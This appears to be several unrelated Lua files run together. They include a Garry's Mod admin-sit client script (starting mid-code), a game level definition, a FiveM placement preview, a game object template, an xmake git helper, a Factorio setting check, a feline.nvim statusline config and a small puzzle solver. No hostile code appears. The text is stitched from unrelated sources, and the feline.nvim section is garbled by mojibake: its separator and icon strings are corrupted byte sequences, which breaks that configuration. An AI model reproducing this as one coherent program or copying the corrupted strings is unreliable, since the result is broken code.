submit:DockMargin(0, 10, 0, 0) submit:Dock(BOTTOM) timer.Create("xSits:Rate", xSits.Config.RateTimeout, 1, function() if not IsValid(frame) then return end frame:Close() end) end local sounds = {} sounds["Voice 1"] = "vo/ravenholm/monk_helpme05.wav" sounds["Voice 2"] = "vo/ravenholm/monk_helpme02.wav" sounds["Voice 3"] = "vo/ravenholm/monk_coverme05.wav" sounds["Bell 1"] = "ui/hint.wav" sounds["Bell 2"] = "ambient/alarms/warningbell1.wav" sounds["Bell 3"] = "HL1/fvox/bell.wav" net.Receive("xSitsSitOpened", function() if LocalPlayer():HasPower(92) and (not XYZSettings.GetSetting("xsits_show", true)) then return end local ply = net.ReadEntity() local reason = net.ReadString() if not IsValid(ply) then return end if ply == LocalPlayer() then return end if XYZSettings.GetSetting("xsits_toggle_sound", true) then surface.PlaySound(sounds[XYZSettings.GetSetting("xsits_sound", "Voice 1")]) end xSits.Core.Popup(ply, reason) system.FlashWindow() end) net.Receive("xSitsSitClaimed", function() if not IsValid(xSits.Core.Menu) or not IsValid(xSits.Core.Menu.List) then return end local target = net.ReadString() if not target then return end local sits = xSits.Core.Menu.List:GetChildren()[1]:GetChildren() local sitCount = table.Count(sits) for k, v in pairs(sits) do if v.id == target then sitCount = sitCount - 1 v:Remove() end end if sitCount <= 0 then xSits.Core.Menu:Remove() end end) net.Receive("xSitsSitYouClaimed", function() local target = net.ReadEntity() local reason = net.ReadString() if not target then return end xSits.Core.ActionUI(target, reason) if IsValid(xSits.Core.Menu) then xSits.Core.Menu:Hide() end end) net.Receive("xSitsSitRequestRating", function() local id = net.ReadInt(32) if not id then return end xSits.Core.RateSit(id) end) concommand.Add("xsits_open_top", function() if not IsValid(xSits.Core.Menu) or not IsValid(xSits.Core.Menu.List) then return end local sits = xSits.Core.Menu.List:GetChildren()[1]:GetChildren() if #sits <= 0 then return end -- No sits open if not sits[1] then return end if not sits[1].info then return end xSits.Core.InfoUI(sits[1].info.ply, sits[1].info.reason, sits[1].info.opened) end)
local Screen = Level:extend() function Screen:activate() --- shape value local cubeZ = 50 local cubeLenX = 150 local cubeLenY = base.guiHeight-1-1 local cubeLenZ = 40 --- -- levelName local levelName = lang.level_RockClimbing -- player location local playerX = 50 local playerY = 90 local playerZ = cubeZ - 1 -- destination location local destinationX = cubeLenX - 50 local destinationY = base.guiWidth+50 local destinationZ = cubeZ+cubeLenZ*2 -- create player and destination Screen.super.activate(self, playerX, playerY, playerZ, destinationX, destinationY, destinationZ, levelName) --- here to create shape self:addShapeList(Cuboid, 1, 1, cubeZ, cubeLenX, cubeLenY, cubeLenZ) self:addShapeList(Cuboid, 1 + cubeLenX + 45, 1, cubeZ+cubeLenZ, cubeLenX, cubeLenY, cubeLenZ) end return Screen
Preview = {} function Preview:Update() local retval, didHit, hitCoords, surfaceNormal, materialHash, entity = table.unpack(Raycast()) if not retval or not didHit then return end local ped = PlayerPedId() local coords = GetEntityCoords(ped) local dist = #(coords - hitCoords) -- Check can place. local canPlace = dist < 6.0 and GetEntityType(entity) == 0 self.canPlace = canPlace -- Create or destroy preview. if canPlace and not self.interactable then self:Create() elseif not canPlace and self.interactable then self:Destroy() end -- Get rotation offset. local rotation = ToRotation(surfaceNormal) if math.abs(surfaceNormal.z) < 0.25 then rotation = rotation + vector3(90, -90, -90) else local camCoords = GetFinalRenderedCamCoord() local toCam = vector2(camCoords.x, camCoords.y) - vector2(hitCoords.x, hitCoords.y) local camAngle = math.atan2(toCam.y, toCam.x) rotation = vector3(rotation.x, rotation.y, math.deg(camAngle) - 90) end -- Cache placement info. self.coords = hitCoords self.rotation = rotation -- Update coords. exports.interact:SetCoords(self.interactable, hitCoords, rotation) end function Preview:Create() -- Destroy any old preview. self:Destroy() -- Create new preview. self.interactable = (self.scene and self.scene:CreateInteractable()) or exports.interact:AddText({ text = "<div style='width: 100%; height: 100%; background: rgba(128, 128, 255, 0.5); border-radius: 100%' />", useCanvas = true, fit = true, transparent = true, width = 0.3, height = 0.3, }) end function Preview:Destroy() if self.interactable == nil then return end -- Remove text. exports.interact:RemoveText(self.interactable) -- Clear cache. self.interactable = nil end function Preview:UseScene(data) local scene = Scene:Create(data) self.text = data.text self.lifetime = data.lifetime self.scene = scene self:Create() end
object_tangible_tcg_series5_hangar_ships_hutt_fighter_heavy_02 = object_tangible_tcg_series5_hangar_ships_shared_hutt_fighter_heavy_02:new { } ObjectTemplates:addTemplate(object_tangible_tcg_series5_hangar_ships_hutt_fighter_heavy_02, "object/tangible/tcg/series5/hangar_ships/hutt_fighter_heavy_02.iff")
--!The Make-like Build Utility based on Lua -- -- Licensed to the Apache Software Foundation (ASF) under one -- or more contributor license agreements. See the NOTICE file -- distributed with this work for additional information -- regarding copyright ownership. The ASF licenses this file -- to you under the Apache License, Version 2.0 (the -- "License"); you may not use this file except in compliance -- with the License. You may obtain a copy of the License at -- -- http://www.apache.org/licenses/LICENSE-2.0 -- -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. -- -- Copyright (C) 2015 - 2017, TBOOX Open Source Group. -- -- @author ruki -- @file ls_remote.lua -- -- imports import("core.base.option") import("detect.tool.find_git") -- ls_remote to given branch, tag or commit -- -- @param reftype the reference type, "tags", "heads" and "refs" -- @param url the remote url, optional -- -- @return the tags, heads or refs -- -- @code -- -- import("devel.git") -- -- local tags = git.ls_remote("tags", url) -- local heads = git.ls_remote("heads", url) -- local refs = git.ls_remote("refs") -- -- @endcode -- function main(reftype, url) -- find git local program = find_git() if not program then return {} end -- init reference type reftype = reftype or "refs" -- get refs local data = os.iorunv(program, {"ls-remote", "--" .. reftype, url or "."}) -- get commmits and tags local refs = {} for _, line in ipairs(data:split('\n')) do -- parse commit and ref local refinfo = line:split('%s+') -- get commit local commit = refinfo[1] -- get ref local ref = refinfo[2] -- save this ref local prefix = ifelse(reftype == "refs", "refs/", "refs/" .. reftype .. "/") if ref and ref:startswith(prefix) and commit and #commit == 40 then table.insert(refs, ref:sub(#prefix + 1)) end end -- ok return refs end
if settings.startup["moreshinybobs-order"] and settings.startup["moreshinybobs-order"].value == true then require('prototypes/order/pole-order') end
-- โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ” -- -- โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ -- -- Plugin: feline.nvim -- Github: github.com/feline-nvim/feline.nvim -- โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ -- -- โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ” -- -- โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ” -- -- โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โฐ configs โฑโ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ” -- -- โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ” -- local lsp = require('feline.providers.lsp') local vi_mode_utils = require('feline.providers.vi_mode') -- local lsp_status = require('lsp-status') -- lsp_status.register_progress() local b = vim.b local fn = vim.fn local components = {active = {}, inactive = {}} components.active[1] = { {provider = ' ', hl = {fg = 'skyblue'}}, { provider = 'vi_mode', hl = function() return { name = vi_mode_utils.get_mode_highlight_name(), fg = vi_mode_utils.get_mode_color(), style = 'bold', } end, right_sep = ' ', }, { provider = { name = "file_info", opts = { type = "relative" } }, hl = {fg = 'black', bg = 'white1', style = 'bold'}, left_sep = { ' ', 'slant_left_2', {str = ' ', hl = {bg = 'white1', fg = 'NONE'}}, }, right_sep = {'slant_right_2', ' '}, }, { provider = 'file_size', enabled = function() return fn.getfsize(fn.expand('%:p')) > 0 end, right_sep = {' ', {str = ' ', hl = {fg = 'fg', bg = 'bg'}}}, }, { provider = function() local name_with_path = os.getenv('VIRTUAL_ENV') local venv = {}; for match in (name_with_path .. "/"):gmatch("(.-)" .. "/") do table.insert(venv, match); end return "๎‚ " .. venv[#venv] end, enabled = function() return os.getenv('VIRTUAL_ENV') ~= nil end, right_sep = " ", }, { provider = 'git_branch', hl = {fg = 'white1', bg = 'bg', style = 'bold'}, right_sep = function() local val = {hl = {fg = 'NONE', bg = 'bg'}} if b.gitsigns_status_dict then val.str = ' ' else val.str = '' end return val end, }, { provider = 'git_diff_added', icon = {str = ' +', hl = {fg = 'green', style = 'bold'}}, hl = {fg = 'green', style = 'bold'}, }, { provider = 'git_diff_changed', icon = {str = ' ~', hl = {fg = 'orange', style = 'bold'}}, hl = {fg = 'orange', style = 'bold'}, }, { provider = 'git_diff_removed', icon = {str = ' -', hl = {fg = 'red', style = 'bold'}}, hl = {fg = 'red', style = 'bold'}, right_sep = function() local val = {hl = {fg = 'NONE', bg = 'black1'}} if b.gitsigns_status_dict then val.str = ' ' else val.str = '' end return val end, }, } components.active[2] = { { provider = 'diagnostic_errors', enabled = function() return lsp.diagnostics_exist(vim.diagnostic.severity.ERROR) end, hl = {fg = 'red'}, }, { provider = 'diagnostic_warnings', enabled = function() return lsp.diagnostics_exist(vim.diagnostic.severity.WARN) end, hl = {fg = 'yellow'}, }, { provider = 'diagnostic_hints', enabled = function() return lsp.diagnostics_exist(vim.diagnostic.severity.HINT) end, hl = {fg = 'cyan'}, }, { provider = 'diagnostic_info', enabled = function() return lsp.diagnostics_exist(vim.diagnostic.severity.INFO) end, hl = {fg = 'skyblue'}, }, { provider = function() local msg = '' local buf_ft = vim.api.nvim_buf_get_option(0, 'filetype') local clients = vim.lsp.get_active_clients() if next(clients) == nil then return msg end for _, client in ipairs(clients) do local filetypes = client.config.filetypes if filetypes and vim.fn.index(filetypes, buf_ft) ~= -1 then if client.name ~= "null-ls" then return "LSP[" .. client.name .. "]" end end end return msg end, hl = {style = 'italic'}, left_sep = {' ', {str = ' ', hl = {fg = 'fg', bg = 'bg'}}}, }, -- { -- provider = function () -- return lsp_status.status() -- end -- }, } components.active[3] = { { provider = ' ๎‚ก %l:%-2c- %L ', left_sep = ' ', hl = {fg = 'black', bg = 'white1', style = 'bold'}, }, { -- provider = 'scroll_bar', provider = ' ', hl = { fg = 'black', bg = 'white1', -- style = 'bold', left_sep = ' ', -- right_sep = ' ' }, }, } components.inactive[1] = { { provider = 'file_info', hl = {fg = 'black', bg = '#464646', style = 'bold'}, -- left_sep = { -- str = ' ', -- hl = { -- fg = 'black', -- bg = 'white', -- } -- }, right_sep = { {str = ' ', hl = {fg = 'black', bg = 'bg'}}, -- 'slant_right' }, }, } -- This table is equal to the default colors table local colors = { fg = '#C8C8C8', bg = '#1F1F23', black = "#000000", black1 = '#1B1B1B', skyblue = '#50B0F0', cyan = '#009090', green = '#60A040', oceanblue = '#0066cc', magenta = '#C26BDB', orange = '#FF9000', red = '#D10000', violet = '#9E93E8', white = '#FFFFFF', white1 = '#808080', yellow = '#E1E120', } -- This table is equal to the default separators table local separators = { vertical_bar = 'โ”ƒ', vertical_bar_thin = 'โ”‚', left = '๎‚ณ', right = '๎‚ฑ', block = 'โ–ˆ', left_filled = '๎‚ฒ', right_filled = '๎‚ฐ', slant_left = '๎‚บ', slant_left_thin = '๎‚ป', slant_right = '๎‚ธ', slant_right_thin = '๎‚น', slant_left_2 = '๎‚พ', slant_left_2_thin = '๎‚ฟ', slant_right_2 = '๎‚ผ', slant_right_2_thin = '๎‚ฝ', left_rounded = '๎‚ถ', left_rounded_thin = '๎‚ท', right_rounded = '๎‚ด', right_rounded_thin = '๎‚ต', circle = 'โ—', } -- This table is equal to the default vi_mode_colors table local vi_mode_colors = { ['NORMAL'] = 'green', ['OP'] = 'green', ['INSERT'] = 'red', ['VISUAL'] = 'skyblue', ['LINES'] = 'skyblue', ['BLOCK'] = 'skyblue', ['REPLACE'] = 'violet', ['V-REPLACE'] = 'violet', ['ENTER'] = 'cyan', ['MORE'] = 'cyan', ['SELECT'] = 'orange', ['COMMAND'] = 'green', ['SHELL'] = 'green', ['TERM'] = 'green', ['NONE'] = 'yellow', } -- This table is equal to the default force_inactive table local force_inactive = { filetypes = { 'NvimTree', 'packer', 'startify', 'fugitive', 'fugitiveblame', 'qf', 'help', }, buftypes = {'terminal'}, bufnames = {}, } -- This table is equal to the default disable table local disable = {filetypes = {}, buftypes = {}, bufnames = {}} -- This table is equal to the default update_triggers table local update_triggers = { 'VimEnter', 'WinEnter', 'WinClosed', 'FileChangedShellPost', } require('feline').setup({ theme = colors, separators = separators, vi_mode_colors = vi_mode_colors, force_inactive = force_inactive, disable = disable, update_triggers = update_triggers, components = components, }) -- โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ” -- -- โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โฐ end configs โฑโ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ” -- -- โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ” --
for line in io.lines(arg[1]) do local r, a, b, x, y = 0, line:match("(%d+)x(%d+) | (%d+) (%d+)") while b ~= y do r, a, b, x, y = r+a, b-1, a, b-y, x end print(r+x) end